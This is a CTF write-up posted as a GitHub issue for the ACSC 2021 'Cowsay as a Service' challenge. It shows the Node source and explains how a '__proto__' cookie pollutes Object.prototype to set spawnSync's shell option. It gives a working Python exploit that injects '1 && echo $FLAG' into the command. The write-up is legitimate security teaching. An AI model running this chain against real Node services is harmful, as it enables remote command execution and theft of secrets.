aszx87410 / ctf-writeups

ctf writeups
62 stars 9 forks source link

ACSC 2021 - Cowsay as a Service #40

Open aszx87410 opened 2 years ago

aszx87410 commented 2 years ago

Description

Enjoy your cowsay life with our Cowsay as a Service! You can spawn your private instance from https://cowsay-as-a-service.chal.acsc.asia/.

Notice: Please do not spawn too many instances since our server resource is limited. You can check the source code and run it in your local machine before do that. Each instances are alive only for 5 minutes. But don't worry! You can spawn again even if your instance expired.

截圖 2021-09-20 上午9 36 09

Source code:

import Koa from 'koa';
import Router from '@koa/router';
import auth from 'koa-basic-auth';
import bodyParser from 'koa-bodyparser';
import child_process from 'child_process';

const settings = {};

const style = `<style>
body { padding: 2rem; }
.form input[type=text] { padding: .5rem 1rem; font-size: 1rem; display: block; margin-bottom: 1rem; }
.form input[type=submit] { display: block; margin-bottom: 1rem; color: #fff; background-color: #000; padding: .5rem 1rem; font-size: 1rem; border: none; }
.color-setting { margin-bottom: 1rem; }
.cowsay { font-size: 2rem; background: #beead6; padding: 0.5rem 1rem; }
</style>`;

const app = new Koa();
const router = new Router();

// basic auth
if (process.env.CS_USERNAME && process.env.CS_PASSWORD) {
  app.use(auth({
    name: process.env.CS_USERNAME,
    pass: process.env.CS_PASSWORD
  }))
}

app.use(async (ctx, next) => {
  ctx.state.user = ctx.cookies.get('username');
  await next();
});

router.get('/', (ctx, next) => {
  ctx.body = `
${style}
<h1>Welcome to Cowsay as a Service</h1>
<p>Before start the service, please enter your name.</p>
<form action="/cowsay" method="GET" class="form">
  <input type="text" name="user" placeholder="Username">
  <input type="submit" value="Login">
</form>
<script>
document.querySelector('form').addEventListener('submit', () => {
  const username = document.querySelector('input[name="user"]').value;
  document.cookie = 'username=' + username;
});
</script>
`;
  next();
});

router.get('/cowsay', (ctx, next) => {
  const setting = settings[ctx.state.user];
  const color = setting?.color || '#000000';

  let cowsay = '';
  if (ctx.request.query.say) {
    const result = child_process.spawnSync('/usr/games/cowsay', [ctx.request.query.say], { timeout: 500 });
    cowsay = result.stdout.toString();
  }

  ctx.body = `
${style}
<h1>Cowsay as a Service</h1>

<details class="color-setting">
  <summary>Color Preferences</summary>
  <form action="/setting/color" method="POST">
    <input type="color" name="value" value="${color}">
    <input type="submit" value="Change Color">
  </form>
</details>

<form action="/cowsay" method="GET" class="form">
  <input type="text" name="say" placeholder="hello">
  <input type="submit" value="Say">
</form>

<pre style="color: ${color}" class="cowsay">
${cowsay}
</pre>
`;
});

router.post('/setting/:name', (ctx, next) => {
  if (!settings[ctx.state.user]) {
    settings[ctx.state.user] = {};
  }
  const setting = settings[ctx.state.user];
  setting[ctx.params.name] = ctx.request.body.value;
  ctx.redirect('/cowsay');
});

app.use(bodyParser());
app.use(router.routes());
app.use(router.allowedMethods());
app.listen(3000);

Writeup

It's obviously that there is a prototype pollution vulnerability:

app.use(async (ctx, next) => {
  ctx.state.user = ctx.cookies.get('username');
  await next();
});

router.post('/setting/:name', (ctx, next) => {
  if (!settings[ctx.state.user]) {
    settings[ctx.state.user] = {};
  }
  const setting = settings[ctx.state.user];
  setting[ctx.params.name] = ctx.request.body.value;
  ctx.redirect('/cowsay');
});

We can send cookie=__proto__ so setting = settings["__proto__"] which is Object.prototype. Then, we can set key via ctx.params.name and value via ctx.request.body.value to achieve prototype pollution.

So, the question is, what can we do then?

The core function for this challenge is this line: child_process.spawnSync('/usr/games/cowsay', [ctx.request.query.say], { timeout: 500 });, so I guess it's the key.

I checked the nodejs docs, there is one line got my attention:

If the shell option is enabled, do not pass unsanitized user input to this function. Any input containing shell metacharacters may be used to trigger arbitrary command execution.

Let's try it:

const child_process = require('child_process');

const a = {}
a.__proto__.shell = true
const result = child_process.spawnSync('echo', ["test && pwd"], {
  timeout: 500
});
cowsay = result.stdout.toString();
console.log(cowsay)

// output:
// test
// /home/user

After polluted Object.prototype.shell, we can do command injection!

There is one more thing, we need to let shell=true not shell="true" so application/x-www-form-urlencoded doesn't work, we need to send application/json instead.

Exploit:

import requests

url = "http://rlefNLPChRZbKjuE:hYBwtZQADJSWpXuc@cowsay-nodes.chal.acsc.asia:62802"

headers = {
  'Content-Type': 'application/json',
  'Cookie': 'username=__proto__'
}
payload = {
  "value": True
}
requests.request("POST", f"{url}/setting/shell", headers=headers, json=payload)
response = requests.request("GET", f"{url}/cowsay", params={"say": "1 && echo $FLAG"})
print(response.text)

output:

 ___
< 1 >
 ---
        \   ^__^
         \  (oo)\_______
            (__)\       )\/\
                ||----w |
                ||     ||
ACSC{(oo)<Moooooooo_B09DRWWCSX!}

Actually, we don't even need two commands, we can just send: "say": "$FLAG" because shell=true makes $ a metacharacters instead of a literal.